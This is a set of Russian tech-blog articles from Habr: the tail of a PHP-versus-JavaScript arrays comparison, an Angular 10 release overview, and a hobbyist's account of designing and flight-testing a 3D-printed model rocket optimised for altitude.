Они, как и JS-массивы, отличаются переменной длиной и слабой типизацией. Поэтому может возникнуть соблазн решить, что массивы в PHP и в JS — это одно и то же.
```
$myArray = [];
$fibonacci = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34];
$myArray[0] = 5;
$myArray[1] = 5.5;
$myArray[2] = 'cat';
$myArray[3] = [1,2,3];
$myArray[4] = function($a, $b) { return $a + $b; };
```
Лямбда-функции в PHP не так красивы, как похожие функции в JS (в ES6), но этот пример, написанный на PHP, функционально эквивалентен ранее рассмотренному JS-примеру.
Здесь можно использовать и аналоги вышеописанных функций для добавления элементов в массив и извлечения их из него (`array_push`, `array_pop`, `array_shift`, `array_unshift`).
Но на JavaScript (как и на C) нельзя написать нечто подобное следующему (написать похожий код на JavaScript, конечно, можно, но работать это будет не так, как в PHP):
```
$myArray['banana'] = 'yellow fruit';
$myArray[5] = 'is alive';
$myArray[0.02] = 'the 2%';
```
В PHP, с технической точки зрения, массивы — это хэш-таблицы или словари. В них используются пары вида ключ/значение. Ключи могут быть любыми примитивными значениями: целыми числами, числами с плавающей запятой, строками. Так как в основе PHP-массивов лежат словари, поиск значений по ключу в этих массивах отличается чрезвычайной эффективностью. А именно, временная сложность поиска составляет `O(1)`.
Это означает, что PHP-массивы могут с успехом выполнять роль простых поисковых таблиц:
```
$colours = [
'red' => '#FF0000',
'green' => '#00FF00',
'blue' => '#0000FF',
'orange' => '#FF6600',
];
```
PHP-массивы дают разработчику множество гибких возможностей. Эти массивы можно сортировать по ключу и по значению. Можно, например, «перевернуть» массив с помощью `array_flip`, поменяв местами ключи и значения, что даёт возможность весьма эффективно организовывать поиск в массиве нужных данных.
Поиск конкретного значения в обычном массиве имеет временную сложность `O(n)`, так как в ходе поиска нужно проверить каждое значение, хранящееся в массиве. А в PHP легко сделать так, чтобы временная сложность такой же операции составила бы `O(1)`:
```
$users = [
1 => 'Andi',
2 => 'Benny',
3 => 'Cara',
4 => 'Danny',
5 => 'Emily',
];
$lookupTable = array_flip($users);
return $lookupTable['Benny'];
```
Конечно, что-то подобное доступно и в JavaScript, хотя тут уже надо будет прибегнуть к возможностям объектов. Но из-за этого придётся пойти на некоторые компромиссы. А именно, при работе с объектами в распоряжении разработчика не будет методов массивов вроде тех, о которых мы говорили выше.
Если продолжить разговор о PHP-массивах, то можно сказать, что их перебор организован просто и безопасно. Здесь есть возможность применить цикл `for`, напоминающий такой же цикл из C, но, прежде чем это сделать, стоит как следует подумать о том, зачем поступать именно так. PHP, благодаря циклам `foreach`, позволяет решать проблемы, характерные для массивов переменной длины, способных содержать значения разных типов:
```
$sum = 0;
foreach ($myArray as $key => $value) {
$sum += is_numeric($value) ? $value : 0;
}
```
В цикле даётся доступ и к ключам, и к значениям, что позволяет программисту работать и с тем, и с другим.
Стоит отметить, что PHP-массивы отличаются от JS-массивов тем, что в PHP для выполнения некоторых операций с массивами приходится пользоваться внешними по отношению к ним функциями:
```
$sum =
array_reduce(
array_filter($fibonacci, 'is_numeric'),
function ($x, $y) { return $x + $y; },
0
};
```
Это — функционально, но не так красиво, как в JavaScript. Если вы хотите писать код для работы с PHP-массивами, который напоминает код, используемый в JavaScript (существуют сильные аргументы в пользу такого подхода), то вам, возможно, стоит взглянуть на специализированное решение. Скажем — на класс `Collection` из фреймворка Laravel. Однако PHP позволяет создавать объекты, возможности которых напоминают возможности массивов (их, например, можно обрабатывать в циклах `foreach`).
Если PHP — это ваш основной язык программирования — вы, привыкнув к нему, вполне можете забыть о той мощи, которая таится в его фундаментальных механизмах.
PHP-массивы — это, в двух словах, самая недооценённая и самая незаметная возможность языка, которая, если ей правильно пользоваться, способна принести огромную пользу.
Итоги: вопрос и ответ
---------------------
**Вопрос**: Каковы сходства и различия массивов в JavaScript и в PHP?
**Ответ**: в PHP и JavaScript массивы — это, по сути, слабо типизированные списки переменной длины. В JavaScript ключами элементов массивов являются упорядоченные целые числа. В PHP массивы можно сравнить и со списками, которые поддерживают сортировку, и со словарями, в которых удобно осуществлять поиск элементов по ключу. Ключи PHP-массивов могут быть любыми значениями примитивных типов, а сортировать такие массивы можно по ключам или по значениям.
**Уважаемые читатели!** Как вы думаете, каких стандартных возможностей больше всего не хватает JavaScript-массивам?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/495892/ | null | ru | null |
# Встречаем Angular 10
Вышел Angular 10.0.0! Это — [мажорный](https://semver.org/#spec-item-8) релиз, который затрагивает всю платформу, включая сам фреймворк, библиотеку компонентов Angular Material и инструменты командной строки. Размер этого релиза меньше, чем обычно. Дело в том, что с момента выхода Angular 9 прошло всего 4 месяца.
Мы стремимся к тому, чтобы выпускать каждый год по два мажорных релиза. Делается это по разным причинам. Во-первых — чтобы Angular шёл бы в ногу со временем и соответствовал бы современному состоянию экосистемы JavaScript. Во-вторых — чтобы у Angular был бы предсказуемый график выхода новых релизов. Angular 11 мы планируем выпустить этой осенью.
[](https://habr.com/ru/company/ruvds/blog/508656/)
Поговорим о том, что нового появилось в Angular 10.
Новый компонент для выбора диапазонов дат
-----------------------------------------
Angular Material теперь включает в себя новый компонент, предназначенный для выбора диапазонов дат.
*Новый компонент*
Для того чтобы им воспользоваться, вам понадобятся компоненты `mat-date-range-input` и `mat-date-range-picker`.
[Вот](https://stackblitz.com/angular/nknyovevygv?file=src%2Fapp%2Fdate-range-picker-overview-example.html) пример его применения.
[Здесь](https://next.material.angular.io/components/datepicker/overview#date-range-selection) можно узнать подробности о нём.
Предупреждения об использовании CommonJS-импортов
-------------------------------------------------
Когда пользуются зависимостями, упакованными в формате CommonJS, [это](https://web.dev/commonjs-larger-bundles/) может привести к увеличению размеров приложения и к снижению его производительности.
Начиная с Angular 10 система будет выдавать предупреждения в том случае, если в сборках используются подобные бандлы. Если вы столкнётесь с такими предупреждениями, касающимися ваших зависимостей, перенастройте проект, указав, что вы предпочли бы ESM-бандл (ECMAScript Module).
*Применение CommonJS- или AMD-зависимостей может приводить к необходимости принимать меры, помогающие оптимизации проекта*
Особый режим, в котором применяются более строгие параметры проекта
-------------------------------------------------------------------
Angular 10 предлагает разработчику более строгий вариант настроек проекта, применяемый при создании нового рабочего пространства командой `ng new`. Вот как это выглядит:
```
ng new --strict
```
Благодаря применению флага `--strict` новый проект инициализируется с использованием нескольких новых параметров, которые улучшают поддерживаемость проекта, помогают заблаговременно отлавливать ошибки, позволяют средствам командной строки лучше оптимизировать приложение. А именно, благодаря этому флагу происходит следующее:
* Включается строгий режим в TypeScript.
* Включается строгий режим при проверке типов в шаблонах.
* Стандартные ограничения размеров различных частей бандла становятся примерно на 75% строже.
* Включается использование правил линтинга, предотвращающих [объявление](https://palantir.github.io/tslint/rules/no-any/) сущностей типа `any`.
* Приложение настраивается так, чтобы его код был бы лишён побочных эффектов, что позволяет эффективнее применять механизм tree-shaking.
Поддержка возможностей Angular в актуальном состоянии
-----------------------------------------------------
Как это обычно делается в новых релизах Angular, в этот раз мы внесли некоторые изменения в зависимости. Это позволяет Angular использовать самые современные решения из экосистемы JavaScript.
* Используемая версия [TypeScript](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-9.html) увеличена до 3.9.
* Библиотека [TSLib](https://github.com/microsoft/tslib/releases/tag/2.0.0) обновлена до версии 2.0.
* Обновлён, до версии 6, линтер TSLint.
Мы, кроме того, поменяли структуру проекта. Начиная с Angular 10 вы сможете работать с файлом `tsconfig.base.json`. Этот дополнительный [tsconfig.json-файл](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html) лучше поддерживает механизмы разрешения типов и настроек пакетов, используемые IDE и средствам для сборки проектов.
Новая стандартная конфигурация браузеров
----------------------------------------
Мы поменяли конфигурацию браузеров, используемую в новых проектов, исключив из неё устаревшие браузеры, и браузеры, которые используются достаточно редко.
Вот параметры браузеров, применяемые по умолчанию в Angular 9.
*Параметры браузеров, используемые в Angular 9*
Вот что используется в Angular 10.
*Параметры браузеров, используемые в Angular 10*
У этого шага есть побочный эффект, который заключается в том, что теперь в новых проектах, по умолчанию, отключаются ES5-сборки. Для того чтобы включить ES5-сборки и дифференциальную загрузку для браузеров, которым это нужно (для таких, как IE или UC), достаточно просто [добавить](https://github.com/browserslist/browserslist#browserslist-) в файл `.browserslistrc` те браузеры, которые требуется поддерживать.
Улучшение взаимодействия с сообществом любителей Angular
--------------------------------------------------------
Мы серьёзно занялись улучшением работы с сообществом любителей Angular. Так, за последние три недели список открытых задач в трекерах уменьшился примерно на 700 записей. Речь идёт о задачах, имеющих отношение к [фреймворку](https://github.com/angular/angular/issues), к [инструментам](https://github.com/angular/angular-cli/issues) командной строки и к [компонентам](https://github.com/angular/components/issues). Мы, так или иначе, провели работу по двум тысячам задач и планируем наращивать темпы в ближайшие месяцы. А взаимодействие с сообществам позволит нам сделать ещё больше всего полезного.
Удалённые возможности и возможности, пользоваться которыми не рекомендуется
---------------------------------------------------------------------------
В Angular 10 мы кое-что убрали, а кое-какие возможности отнесли к разряду запланированных к удалению.
Так, теперь в [Angular Package Format](https://g.co/ng/apf) больше не входят бандлы ESM5 или FESM5. Это экономит примерно 119 Мб трафика при выполнении команд `yarn` или `npm install` для пакетов и библиотек Angular. Эти форматы больше не нужны, так как преобразования, необходимые для поддержки ES5, выполняются в конце процесса сборки.
Мы, основываясь на серьёзном обсуждении с сообществом, решили отказаться от поддержки устаревших браузеров, включая IE 9, 10, а так же [Internet Explorer Mobile](https://en.wikipedia.org/wiki/Internet_Explorer_Mobile).
Подробности о том, что удалено из Angular 10, и о том, что признано устаревшим, можно почитать [здесь](http://v10.angular.io/guide/deprecations).
Обновление до Angular 10
------------------------
Для того чтобы узнать подробности об обновлении Angular — посетите ресурс [update.angular.io](https://update.angular.io/). Для того чтобы в ходе обновления всё шло бы хорошо, мы рекомендуем, за один шаг обновления, всегда обновляться лишь до одного мажорного релиза.
Если описать процесс обновления буквально в двух словах, то выглядеть это будет так:
```
ng update @angular/cli @angular/core
```
[Здесь](https://v10.angular.io/guide/updating-to-version-10) можно найти подробные сведения об обновлении Angular до версии 10.
**А вы уже обновились до Angular 10?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=angular10)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=angular10) | https://habr.com/ru/post/508656/ | null | ru | null |
# Моделирование ракеты для достижения максимальной высоты
[](https://habr.com/ru/company/ruvds/blog/684768/)
Моделисты ракет зачастую стремятся, чтобы их творения наилучшим образом показывали себя в определенной категории состязаний, будь то подъем яиц (когда необходимо спроектировать ракету, которая сможет поднять сырое куриное яйцо на максимальную высоту и в целости вернуть обратно), полеты на продолжительность (когда ракета должна оставаться в воздухе как можно дольше) или на максимальную высоту.
Подумывая, какой бы новый проект реализовать, и обладая тягой к 3D-печати, CAD моделированию и физике, я решил спроектировать ракету для подъема на максимальную высоту в силу возможностей двигателя D-класса. Целью этого проекта было оценить практическую эффективность 3D-печати в ракетомоделировании по сравнению с существующими техниками изготовления моделей.
В текущем руководстве я подробно опишу весь процесс разработки ракеты. Итоговое тестирование я проводил в соответствии с научным методом и постарался максимально ясно объяснить весь ход своей мысли. Сам я являюсь студентом колледжа Магдален в Оксфорде и хочу выразить благодарность этому учебному заведению за оказанную помощь, в частности за предоставление силовой плиты (force plate) и консультации преподавателей физики.
▍ Шаг 1: описание проекта
-------------------------
Целью моего проекта было выяснить, можно ли с помощью аддитивной технологии производства повысить эффективность проектирования ракет. Для этого я проведу исследование существующих решений по моделированию ракет и на основе полученных результатов попытаюсь воспроизвести их аналоги на 3D-принтере, добившись равной или лучшей эффективности. Данные об этих существующих моделях будут взяты из таблицы рекордов ассоциации ракетостроения Великобритании.
Шаг 2: критерии эффективности и методология испытаний
-----------------------------------------------------
### ▍ Критерии эффективности
Это исследование рассматривало эффективность каждого дизайна по следующим критериям:
1. Максимальная высота полета.
2. Скорость.
3. Ускорение.
4. Реализуемость.
Для того, чтобы проанализировать пункты 1, 2 и 3, потребовалось добавить соответствующее измерительное оборудование. А поскольку проект подразумевал проектирование и сборку ракеты с нуля, то в ходе этого процесса удалось найти подходящее решение для внесения всех необходимых компонентов.
### ▍ Контроль испытаний
1. Итоговые показатели эффективности ракеты в плане ускорения, скорости и максимальной высоты, собранные в процессе полета, сравнивались с компьютерной симуляцией для оценки результатов и анализа точности данных.
2. В обоих протестированных проектах масса альтиметра была одинаковой.
3. Все двигатели прошли тестирование тяги для уточнения их характеристик. Во всех моделях использовалась одна модель двигателя.
4. Для обеспечения честного сравнения результатов итеративно изменялись только форма корпуса, материалы и методы сборки.
5. Анализ доступных наборов для сборки ракет из стандартных компонентов производился по тем же критериям.
Шаг 3: определение кривой тяги двигателя
----------------------------------------
Изначально я протестировал двигатель, чтобы выяснить кривую его тяги, необходимую для проведения симуляций и анализа результатов. Запуск производился на силовой плите, сам двигатель был надежно закреплен к тестовому стенду из экструдированного алюминия и удерживался напечатанным на 3D-принтере кронштейном. По итогу прибор зафиксировал максимальную силу в 21.97Н.
Шаг 4: проектирование регистрирующего устройства
------------------------------------------------
Это устройство будет собирать данные с двух датчиков: акселерометра, измеряющего ускорение вдоль трех осей, и альтиметра. Оно должно:
1. Взаимодействовать с этими датчиками через протокол I2C.
2. Сохранять полученные данные на SD-карте по протоколу SPI.
3. Поддерживать управление питанием, чтобы можно было обеспечить отдельные платы подходящим напряжением.
Для этих целей я взял недорогую плату Arduino (включая обширную документацию по написанию кода).
### ▍ Датчики
* Я использовал датчик давления BMP180 со скоростью обновления 30Гц и точностью +- 1м.
* В качестве акселерометра использовался MPU6050, который я выбрал за его невысокую стоимость и удовлетворительную точность (+-2g). Этот акселерометр также оснащен гироскопом (для оценки направления полета ракеты), позволившим произвести дополнительный анализ.
### ▍ Аккумулятор
Требования:
* легкий;
* компактный;
* ударопрочный;
* должен обеспечивать 7В для питания Arduino.
В итоге я выбрал двухэлементный литий-полимерный аккумулятор (обычно такие ставят в радиоуправляемый машинки), который вполне проходил по всем требованиям и обеспечивал напряжение 7.4В.
### ▍ Программа
Далее я проверил работоспособность всех электронных компонентов и написал на Python программу для микроконтроллера, которая делала следующее:
1. Активировала и тестировала датчики.
2. Обозначала успех тестирования зажиганием зеленого светодиода.
3. Ждала 40 секунд (позволяя запускающему ракету человеку удалиться на безопасную дистанцию).
4. Считывала базовые показатели температуры и давления.
5. Регистрировала ускорение, давление, температуру и направление каждую 1/10 секунды.
6. Сохраняла полученные данные на SD-карту.
Высота вычислялась на основе этой информации уже после полета. Это позволило сэкономить вычислительную мощность в полете и ускорить частоту сбора данных.
### ▍ Доработки
После пробного полета ракеты первой версии, я обнаружил, что текущий дизайн излишне громоздкий и тяжелый для использования в расчетной модели. В итоге я решил убрать акселерометр и SD-карту, а данные высоты записывать в 500 байт внутренней EEPROM Arduino.
Это позволило делать по 5 двухбайтовых записей в секунду в течение 50 секунд. При этом я также обновил программу и плату. Удаление SD-карты позволило сделать общий дизайн намного компактнее. Ускорение теперь вычислялось по изменению показаний высоты.
Шаг 5: проектирование первой версии ракеты
------------------------------------------
Спроектировав всю аппаратную часть и управление, можно приступать к построению ракеты V1. Изначально я намеренно сделал ее большой и не стал доводить до идеала, чтобы можно было опробовать различные конструкторские приемы, поскольку с 3D-печатью и CAD мне еще работать не доводилось. В первую очередь нужно было понять ограничения, определяющиеся двумя основными компонентами – двигателем и корпусом.
### ▍ Двигатель
Двигатели идут уже в собранном виде с установленными импульсом и тягой. Самой мощной из доступных в Великобритании моделей является Estes D-12. Этот двигатель обладает импульсом 24 Н/с и средней тягой 12Н, то есть может создавать тягу примерно в течение 2 секунд. Рекомендуемый взлетный вес для этой модели составляет приблизительно 300 грамм, что и стало основной причиной ее выбора, поскольку означает большой запас, позволяющий использовать тяжелую, неоптимизированную ракету.
### ▍ Труба корпуса
Корпус я собрал из картонного тубуса, так как он был доступен в готовом виде, легко сочетался с напечатанным носовым конусом и стабилизаторами, имел подходящий под регистратор данных диаметр, а также оказался недорогим и достаточно легким.
Учитывая эти два ограничивающих фактора, я разработал предварительный проект традиционной конструкции в OpenRocket – открытом инструменте моделирования ракет. В этой программе я сгенерировал первую грубую рабочую модель на основе характеристик корпуса и напечатанных на 3D-принтере носового отсека и стабилизаторов.
OpenRocket симулирует максимальную высоту полета и ускорение, используя такие параметры, как форма трубы, характеристики двигателя, профиль носа и форма стабилизаторов. В данном случае этот инструмент сформировал дизайн, который вы видите на фотографии выше. Убедившись, что этот дизайн сработает, я переключился на Fusion 360, чтобы спроектировать конус, соединители и стабилизаторы, которые планировал напечатать.
▍Шаг 6: проектирование модели CAD
---------------------------------
Модель в CAD я сделал по тем же размерам, что использовались в симуляции OpenRocket. Чтобы снизить общую массу, всю нижнюю ступень я сделал в виде единого компонента, а не множества традиционно раздельных стабилизаторов, соединителей и трубок корпуса, которые можно видеть в других проектах.
При этом я спроектировал стабилизаторы так, чтобы они простирались через внешнюю обшивку внутрь корпуса до упора двигателя, что позволило им обеспечить прочную основу всей конструкции, оставив внутреннюю ее часть полой.
Все это также видно на фото. Для генерации G-code я использовал встроенный во Fusion 360 слайсер.
Материалы для скачивания:
* [Altitude Optimised Model Rocket — Step #6](https://content.instructables.com/ORIG/FP8/YURT/L5PCEFK1/FP8YURTL5PCEFK1.avi)
▍ Шаг 7: летные испытания ракеты V1
-----------------------------------
Использование 3D-печати позволило добиться ряда преимуществ. При размерах, аналогичных существующим моделям, этот метод конструирования обеспечил б'ольшую устойчивость к повреждениям и исключил вероятность ошибки при сборке. Кроме того, это позволяет быстрее изготавливать прототипы и использовать для них более тонкие стабилизаторы, чем в случае бальзовых деталей.
При этом также оказалась наруку и гибкость этого метода, так как он позволяет изготовить носовой конус любой формы и ширины со встроенным соединителем.
Ниже приводятся показания регистратора данных, которые позже я использую для сравнения со вторым дизайном ракеты.
▍ Шаг 8: Сравнение данных полета с результатами симуляции
---------------------------------------------------------
*Сравнение симулированных и реальных данных полета ракеты V1*
Как видно из графиков, реальные данные оказались очень схожи с прогнозируемыми. Я рад, что с помощью 3D-принтера мне удалось создать детали, очень похожие на симулированные в OpenRocket, по крайней мере в плане массы, поскольку ракета ускорялась так же, как было предсказано. Что же касается качества самих деталей, то их шероховатая поверхность и не очень удачная кромка сделали ракету менее аэродинамичной по сравнению с симуляцией, в связи с чем реальная достигнутая ей высота оказалась меньше. Это означает, что печати нужно уделить больше времени, поскольку для улучшения качества поверхности потребуется уменьшить высоту слоя.
### ▍ Извлеченные уроки
Ввиду того, что альтиметр был барометрическим, при срабатывании выбрасывающего заряда он зарегистрировал гораздо более высокое давление, что привело к неожиданному сбросу записанной высоты. Придется установить усиленную перегородку, чтобы такое не повторилось в дальнейшем.
Данные акселерометра и гироскопа в сравнении не потребовались, так что оказались излишними. Ускорение можно вывести на основании данных о времени и скорости, а удаление ненужных компонентов позволит уменьшить диаметр корпуса.
Стабилизаторы требовали после печати дополнительной финишной обработки. Задача эта оказалась трудоемкой и привнесла дополнительную погрешность.
Небольшая длина корпуса и тяжелый хвост указывали на необходимость увеличения веса носовой части для сохранения стабильности полета, за что пришлось заплатить эффективностью.
Общая стоимость материалов составила £6.89, из которых £2.50 ушло на 3D-печать и сборку корпуса, а £4.39 на различное оборудование.
Тяжелое основание потребовало увеличения стабилизаторов для снижения центра давления, что привело к увеличению сопротивления.
▍ Шаг 9: разработка оптимизации для ракеты V2
---------------------------------------------
Чтобы сакцентировать внимание на нужных составляющих дизайна для повышения эффективности ракеты я сформулировал такое соотношение характеристик:
```
Ec = Ep + Ek + El
```
Пояснение:
* Ec: химическая энергия двигателя перед полетом;
* Ep: гравитационная потенциальная энергия;
* Ke: кинетическая энергия;
* El: потери энергии.
Это уравнение демонстрирует, что общая затраченная химическая энергия двигателя равна сумме гравитационной энергии, кинетической энергии и энергетических потерь, вызванных аэродинамическим сопротивлением.
В точке апогея (пиковая высота, ради достижения которой и делается оптимизация) ракета не движется ни вверх, ни вниз, то есть в этот момент Ke отсутствует, и этот критерий из уравнения можно исключить.
Чтобы увеличить GPE (гравитационную потенциальную энергию), тем самым увеличив высоту, необходимо минимизировать El. Это позволит уменьшить как аэродинамическое сопротивление, так и сопротивление от пусковых систем, существенно повысив общую эффективность.
Вот уравнение для GPE:
```
Ep = m*g*h
```
Пояснение:
* Ep = гравитационная потенциальная энергия;
* m = масса ракеты;
* g = ускорение из-за гравитации;
* h = высота.
Теперь можно сделать вывод, что для оптимизации дизайна ракеты с целью достижения максимальной высоты, ее нужно сделать максимально легкой, а также уменьшить все факторы, снижающие эффективность. И для реализации этих целей я оптимизирую каждый компонент по-отдельности.
▍ Шаг 10: оптимизация стабилизаторов
------------------------------------
Для достижения максимальной высоты сопротивление должно быть минимальным. Однако сопротивление, вызываемое формой и расположением стабилизаторов, является необходимым – оно позволяет сместить центр давления под центр массы. Это необходимое решение ради достижения стабильности, так как если эти центры окажутся не в том месте, ракета потеряет стабильность.
В идеале это сопротивление должно возникать, только когда угол атаки ракеты больше нуля, то есть при полете с нулевым углом атаки оно будет минимальным. Дело в том, что если у ракеты нет угла атаки, то и стабилизация ей не требуется, а значит стабилизаторы должны вызывать минимальное сопротивление. Однако, как только угол атаки появляется, тут же возникает обратная сила сопротивления, стабилизирующая ракету.
### ▍ Форма стабилизаторов
Сопротивление давления обуславливается длиной и толщиной стабилизаторов, заостренностью носовой части и хвоста, а также шероховатостью поверхности. Согласно отчету Тима Ван Миллигана, за счет уменьшения длины стабилизаторов, их утоньшения, а также придания им аэродинамической и конусообразной формы можно существенно ослабить сопротивление (Milligan, 2017). В этом отчете подробно описаны испытания нескольких форм пластин с одинаковой площадью и толщиной, размещенных в виртуальной аэродинамической трубе при скорости ветра 100м/с. Результаты испытаний показаны на фото выше.
Как уже было установлено, низкое сопротивление при угле атаки 0° и максимальное изменение этого угла в диапазоне от 0° до 5° дают наилучшую конструкцию. Несмотря на то, что этим требованиям лучше всего удовлетворяла эллептическая форма стабилизатора, печатать такие на 3D-принтере оказалось весьма сложно, так как использование поддержки неизбежно вело бы к неровностям поверхности. В итоге я выбрал форму усеченного треугольника.
При этом имеет значение и поперечное сечение стабилизаторов. Для определения его наилучшей формы я провел тестирование.
### ▍ Тестирование поперечного сечения пластин
*Гипотеза*: утолщение в задней части и симметричная форма обеспечат область наименьшего давления спереди стабилизатора и низкое давление сзади, так как поток воздуха будет рассекаться более плавно.
*Метод*: для тестирования трех вариантов поперечного сечения использовался инструмент анализа сопротивления Fusion CFD. Утолщение у всех тестируемых пластин было сделано в разных местах, что видно на рисунке ниже:
*Результаты тестирования трех макетов стабилизатора*
Получилось три варианта дизайна:
1. Симметричный, утолщение в середине.
2. Симметричный, утолщение в задней части.
3. Симметричный, утолщение в передней части.
*Контрольные переменные*: скорость ветра и давление были установлены на те же значения, что и при испытании разных форм стабилизаторов в апогее. На все три версии стабилизаторов подавался поток воздуха со скоростью 100м/с. Каждый из них имел разное поперечное сечение, но одинаковый размах, толщину и корневую хорду.
*Результаты*: как видно на картинке, результаты показали, что профиль с центральным утолщением формирует наименьшую зону низкого давления позади стабилизатора и наименьшую зону высокого давления впереди него. В остальных случаях утолщение было расположено в районе 75% от длины стабилизатора.
1. Симметричный, утолщение по центру: сопротивление 3.83Н.
2. Симметричный, утолщение в задней части: сопротивление 4.51Н.
3. Симметрично, утолщение в передней части: сопротивление 4.91Н.
*Анализ*: наилучшей формой для стабилизаторов будет симметричная с утолщением в центре – форма 1, поскольку она обеспечивает наименьшую силу сопротивления.
Чем меньше оранжевая метка, обозначающая высокое давление перед стабилизатором (см. рисунок выше), тем ниже сжатие воздуха перед этим стабилизатором, что означает меньшее сопротивление движению.
Чем меньше синяя метка, обозначающая низкое давление позади стабилизатора, тем меньше в этой области образуется вакуума, что ведет к снижению всасывания воздуха, а значит и меньшему искажению воздушного потока.
*Заключение*: гипотеза была опровергнута. Несмотря на то, что стабилизатор действительно спереди формировал область наименьшего давления, быстрое повторное схождение воздушного потока позади него формировало область очень низкого давления, оттягивая стабилизатор назад и сводя на нет преимущества вытянутой передней части. Во второй версии ракеты будет использоваться форма 1.
Расскажу о некоторых интересных моментах при проектировании стабилизаторов.
Интерференционное сопротивление между трубой корпуса и стабилизаторами тоже очень велико. Без скругления воздушный поток проходит по крутому углу и вызывает турбуленцию. По приблизительным расчетам скругление диаметром примерно в 4% от корневой хорды стабилизатора должно максимально снизить сопротивление между ним и корпусом, не увеличив при этом его собственное сопротивление.
Я также сократил общую массу стабилизаторов, установив при печати заполнение на 15%.
Наконец, с целью уменьшить переднюю часть стабилизаторов я сделал их максимально тонкими, что снизило сопротивление при угле атаки 0°.
▍ Шаг 11: проектирование корпуса
--------------------------------
Чем больше площадь поверхности, обдуваемой потоком воздуха, тем выше трение. Данный компонент предназначен для размещения парашюта и двигателя максимально компактным образом. При уменьшении поперечного сечения передней части коэффициент сопротивления всей ракеты также существенно уменьшается.
Следовательно, для оптимизации корпуса его нужно сделать как можно короче и тоньше. Мне удалось довести его диаметр до 25мм, что всего на 1мм больше внешнего диаметра двигателя. Длину я также минимизировал, но можно было уменьшить ее еще больше. Помешала же этому необходимость перенести центр массы выше по ракете. Поскольку все тяжелые компоненты находились в верхней части трубы корпуса, я решил слегка его удлинить, что и позволило поднять центр массы.
В результате для смещения центра давления вниз потребовались меньшие стабилизаторы. Для уменьшения массы ракеты трубу корпуса, крепление двигателя и отсек стабилизаторов я объединил в один компонент. При этом местом выброса парашюта теперь выступал носовой конус, то есть ракета уже не раскрывалась посередине, как в предыдущем дизайне. Электронику для измерения высоты я тоже уменьшил и теперь разместил в носовой части.
▍ Шаг 12: пусковой упор
-----------------------
В предыдущей модели я закрепил пусковой упор к ракете, и он мог сдвигаться по пусковым направляющим вверх-вниз, что обеспечивало ракете стабильность во время набора скорости. Ну а поскольку теперь она стала очень тонкой, то добавление пускового упора нарушало баланс настолько, что ракета опрокидывалась в самом начале полета из-за асимметрии фронтальной области. Поэтому упор я убрал, заменив его пусковой шахтой, также разработанной во Fusion 360.
▍ Шаг 13: носовая часть
-----------------------
Форму носового конуса я придумал после внимательного изучения материалов в сети. Стало ясно, что для полета на дозвуковой скорости наименьшее сопротивление обеспечит оживальная, параболическая либо коническая форма. Для выбора наиболее подходящего из этих вариантов я снова прибег к помощи Fusion CFD, остановившись в итоге на параболической.
Далее я использовал ее в заключительном проекте OpenRocket, подстроив все сопутствующие параметры. Я выяснил, что удлиненный нос снижал коэффициент сопротивления. Предполагаю, что это из-за более плавного рассечения воздуха. Длину я увеличивал до тех пор, пока прирост массы не начал вызывать снижение прогнозируемой высоты полета. В результате получился носовой отсек длиной 10см с толщиной стенок всего 0.4мм. При печати это означало всего один слой, а итоговый вес составил смешные 8 граммов.
Шаг 14: летные испытания
------------------------
Результаты получились очень схожими с предыдущими. Думаю, что падение показателя высоты относительно прогноза вызвано остатками шероховатости поверхности носовой части. Конус было сложно шкурить, поскольку для придания ему достаточно малого веса, который бы позволил конкурировать с магазинными аналогами, я напечатал его всего в один слой толщиной. В итоге конструкция получилась довольно гибкой и склонной к повреждению, что затрудняло ее зачистку.
Повышенная же максимальная скорость, вероятно, была достигнута ввиду дефекта двигателя, обусловившего более длительное горение, поскольку все остальные факторы были теми же, что в симуляции.
### ▍ Усвоенные уроки:
Облегчение общего дизайна, доработки аэродинамической эффективности и устранение сопротивления из-за пусковых направляющих обеспечило большее количество гравитационной постоянной энергии (Ep).
Легкий корпус позволил ракете достичь существенно большего ускорения. Для длительного полета это бы вряд оказалось кстати, поскольку увеличение скорости ведет к увеличению сопротивления. Но в случае с двигателями, обеспечивающими короткие циклы горения, как в текущей сборке, такой показатель оказался идеален.
Небольшой объем филамента, потребовавшегося для печати, означал существенную экономию при изготовлении, а также его оперативность. На всю сборку ракеты от и до у меня ушло 6 часов, из которых всего 30 минут я затратил на удаление поддерживающего материала и шлифовку.
Необходимость печатать носовой отсек в один слой привела к затруднению зачистки его поверхности и последующего вклеивания – деталь часто ломалась. В результате полет он пережил, но при приземлении все же сломался.
Материалы для скачивания:
* [Altitude Optimised Model Rocket — Step #14](https://content.instructables.com/ORIG/FFF/6B73/L5QRDRVO/FFF6B73L5QRDRVO.mp4)
▍ Шаг 15: сравнение с рекордами
-------------------------------
Несмотря на то, что текущий рекорд высоты для двигателя D-12 примерно на 40 метров больше моего ([UK Rocketry Altitude Records | UKRA — United Kingdom Rocketry Association](http://ukra.org.uk/records/allclass)), обуславливается это существенно меньшей массой ракет-рекордсменов. Я считаю, что относительно большой вес (25 грамм) моего самодельного регистратора данных излишне утяжеляет всю конструкцию. К сравнению, используемый рекордсменами альтиметр PicoAlt LO3 весит всего 10 грамм.
Так что в целом я делаю вывод, что технология 3D-печати при использовании с ориентиром на эффективность вполне уместна в ракетомоделировании и обеспечивает множество преимуществ.
▍ Шаг 16: преимущества/недостатки 3D-печатных компонентов
---------------------------------------------------------
В некоторых местах коммерческие решения все же превосходили мой дизайн.
Такие готовые продукты сокращают количество специальных инструментов, необходимых для изготовления, и почти не требуют знаний аэродинамики и техник оптимизации. Так что любителю, несомненно, будет проще пойти и купить готовый комплект.
Система возвращения в ракете V2 имела проблемы с надежностью.
Традиционные стабилизаторы из бальзы позволяют добиваться более рисковых в изготовлении форм с сохранением гладкой поверхности. При 3D-печати этому мешает необходимость использовать поддержку.
Ну и напоследок скажу, что 3D-печать вполне позволяет создавать и оптимизировать детали, способные соперничать с коммерческими продуктами. Дополнительный плюс при этом в том, что исключаются возможные ошибки при сборке. Обеспечиваемая 3D-принтерами гибкость изготовления и возможность интеграции множества раздельных компонентов в один позволяет создавать более простые компоненты, а также облегчает общую конструкцию и упрощает ее сборку.
> **[Конкурс статей от RUVDS.COM](https://bit.ly/3bDQroY). Три денежные номинации. Главный приз — 100 000 рублей.**
